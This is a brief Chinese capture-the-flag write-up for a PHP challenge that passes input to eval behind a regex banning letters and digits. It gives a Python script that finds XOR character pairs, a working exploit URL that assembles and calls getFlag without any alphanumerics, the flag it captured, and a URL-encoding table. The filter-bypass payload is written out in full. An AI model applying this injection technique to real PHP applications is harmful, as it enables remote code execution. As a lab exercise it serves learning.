WEB部分题目writeup

MEIZIJIU_PHP

题目链接：

http://202.112.51.184:20001/

打开网页出现一段PHP代码：

代码大意就是如果得到的code不为空则执行下列操作：

如果code长度大于40就显示LONG，如果code匹配到正则表达式中出现的字符就显示NO，否则执行code（即若code值正确则可以拿到flag）。

看到下面的hint，上面显示通过getFlag()函数可以拿到flag，那么，我们的目标就是绕过PHP的字符过滤，在code中执行getFlag()函数。

根据正则表达式，可以看出所有字母和数字被过滤了，那么我们就需要将getFlag几个字母通过转换表达。

目前想到一种较为麻烦的：

 # -*- coding:utf- -*-
 list=[' ','*','~',']','$','@','!','%','&','(',')','_','=','{','}','[','?','\\','/','.','\'',';',':','<','>','+','-','^','`','|','.',',']
 for i in range(len(list)):
     for j in range(len(list)):
         str=chr(ord(list[i])^ord(list[j]))
         if(str=='a'):
             print list[i],list[j]
             break;
 
 print 'OK'

然后随便选一组贴在网址后面，如：

http://202.112.51.184:20001/?code=$_=(%27][%2B:@_%3C%27^%27:%3E_|,%3E[%27);$_();

（网页自动转义了），则可以得到flag：

FLAG{Php_zezeze}

需要注意的是，通过脚本得到的一些字符是URL保留字，需要再换种方式表示：

URL中的保留字
特殊字符代表含义替换内容
+ URL 中+号表示空格 %2B
空格 URL中的空格可以用+号或者编码 %
/ 分隔目录和子目录 %2F
? 分隔实际的URL和参数 %3F
% 指定特殊字符 %
# 表示书签 %
& URL 中指定的参数间的分隔符 %
= URL 中指定参数的值 %3D